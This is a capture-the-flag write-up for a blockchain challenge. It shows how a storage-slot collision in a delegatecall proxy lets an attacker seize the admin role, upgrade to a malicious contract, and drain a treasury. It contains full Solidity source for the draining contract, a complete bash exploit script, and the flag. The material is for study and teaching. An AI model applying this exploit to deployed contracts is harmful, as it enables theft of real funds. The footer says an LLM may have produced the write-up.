Hidden Investigations CTF 2026
Quiet Upgrade
Exploit a storage-layout collision between a delegatecall proxy and its implementation: registerBranch() aliases the proxy's admin slot, enabling upgrade to a malicious implementation that sweeps the treasury.
What this one teaches
- A delegatecall proxy and its implementation share storage. If the implementation has a public setter for slot 0 and the proxy keeps its admin in slot 0, anyone can hijack the proxy.
- The loud comment saying 'this slot is never written' was a decoy pointing at slot 1. The exploitable write was the quiet one at slot 0.
- Prove exploits locally on a disposable anvil chain before touching the live instance — the same script runs against both.
Task description
A regional settlement node runs its ledger logic behind an upgradeable proxy. The upgrade path was added in a later release and was never checked against the proxy’s existing storage layout.
Each team gets a private chain. You’re given an RPC URL, a funded private key, and the address of the
Setupcontract. The Solidity sources for everything deployed on your instance are incontracts/.Win condition: the settlement node’s treasury ends holding less than 1% of its starting reserve. Submit through the checker once
Setup.isSolved()returnstrue.
- Category: blockchain (hard)
Spot the storage-layout collision
SettlementProxy keeps its pointers in sequential slots: slot 0 = admin, slot 1 = implementation. SettlementV1, reached only through the proxy’s delegatecall, lays out slot 0 = branchOperator, slot 1 = branchRegistrar, then the mappings. So SettlementV1.branchOperator aliases the proxy’s admin slot. The handout comments loudly stress that branchRegistrar (slot 1, the implementation pointer) “is never written here” — that is the decoy; the exploitable write is to slot 0, not slot 1.
Hijack admin
SettlementV1.registerBranch(operator) is open (the registrar was never wired to gate it) and does branchOperator = operator, i.e. a write to slot 0. Calling proxy.registerBranch(attacker) therefore sets proxy.admin = attacker. The ordinary withdraw path can’t drain the treasury because it needs ledger[caller] credit the attacker doesn’t have — the collision is the intended route.
Deploy the malicious implementation
proxy.upgradeTo gates only on admin plus a tag check: the candidate’s proxiableSlot() must return keccak256(abi.encodePacked(keccak256("quiet-upgrade.proxiable"), proxyAddr)).
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
interface ITreasury {
function release(address to, uint256 amount) external;
}
interface IERC20 {
function balanceOf(address who) external view returns (uint256);
}
contract Evil {
bytes32 public immutable slotProof;
address public immutable treasury;
address public immutable stl;
address public immutable attacker;
constructor(address proxy, address _treasury, address _stl, address _attacker) {
bytes32 quTag = keccak256("quiet-upgrade.proxiable");
slotProof = keccak256(abi.encodePacked(quTag, proxy));
treasury = _treasury;
stl = _stl;
attacker = _attacker;
}
function proxiableSlot() external view returns (bytes32) {
return slotProof;
}
/// Runs under the proxy's delegatecall. address(this) == proxy, so
/// Treasury sees msg.sender == settlementSystem and releases the reserve.
function sweep() external {
uint256 bal = IERC20(stl).balanceOf(treasury);
if (bal > 0) {
ITreasury(treasury).release(attacker, bal);
}
}
}
Exploit script
#!/bin/bash
# Needs: RPC_URL, PRIVATE_KEY (funded), SETUP_ADDRESS.
# Run inside ghcr.io/foundry-rs/foundry:v1.8.5
set -euo pipefail
ATTACKER=$(cast wallet address --private-key "$PRIVATE_KEY")
PROXY=$(cast call "$SETUP_ADDRESS" "proxy()(address)" -r "$RPC_URL")
TREASURY=$(cast call "$SETUP_ADDRESS" "treasury()(address)" -r "$RPC_URL")
STL=$(cast call "$SETUP_ADDRESS" "stl()(address)" -r "$RPC_URL")
# 1) Storage-collision admin hijack: slot 0 (branchOperator) = proxy admin
cast send "$PROXY" "registerBranch(address)" "$ATTACKER" \
--private-key "$PRIVATE_KEY" -r "$RPC_URL" >/dev/null
# 2) Deploy Evil (passes proxiableSlot() tag check)
EVIL=$(forge create src/Evil.sol:Evil \
--private-key "$PRIVATE_KEY" -r "$RPC_URL" --broadcast \
--constructor-args "$PROXY" "$TREASURY" "$STL" "$ATTACKER" \
| sed -nE 's/.*Deployed to:[[:space:]]*(0x[0-9a-fA-F]{40}).*/\1/p')
# 3) Upgrade proxy to Evil
cast send "$PROXY" "upgradeTo(address)" "$EVIL" \
--private-key "$PRIVATE_KEY" -r "$RPC_URL" >/dev/null
# 4) Sweep treasury (delegatecall -> Treasury.release)
cast send "$PROXY" "sweep()" \
--private-key "$PRIVATE_KEY" -r "$RPC_URL" >/dev/null
echo "isSolved: $(cast call "$SETUP_ADDRESS" 'isSolved()(bool)' -r "$RPC_URL")"
Result
Setup.isSolved() returns true. Reserve goes from 5e24 to 0. The exploit was proven locally on a disposable anvil chain before running against the live instance.
Lessons
- A delegatecall proxy and its implementation share storage. If the implementation has a public setter for slot 0 and the proxy keeps admin in slot 0, anyone can hijack the proxy.
- The loud comment saying “this slot is never written” was a decoy for slot 1. The real write was the quiet
branchOperator = operatorat slot 0. - Prove exploits on a local fork first. The same
solve.shran against both anvil and the live chain.
The flagReveal
hiCTF{sl0t0_c0llision_then_a_qu1et_upgrade_9f81f9d46d}This CTF was possibly solved, and the writeup most likely written by an LLM. Apologies for inconsistencies.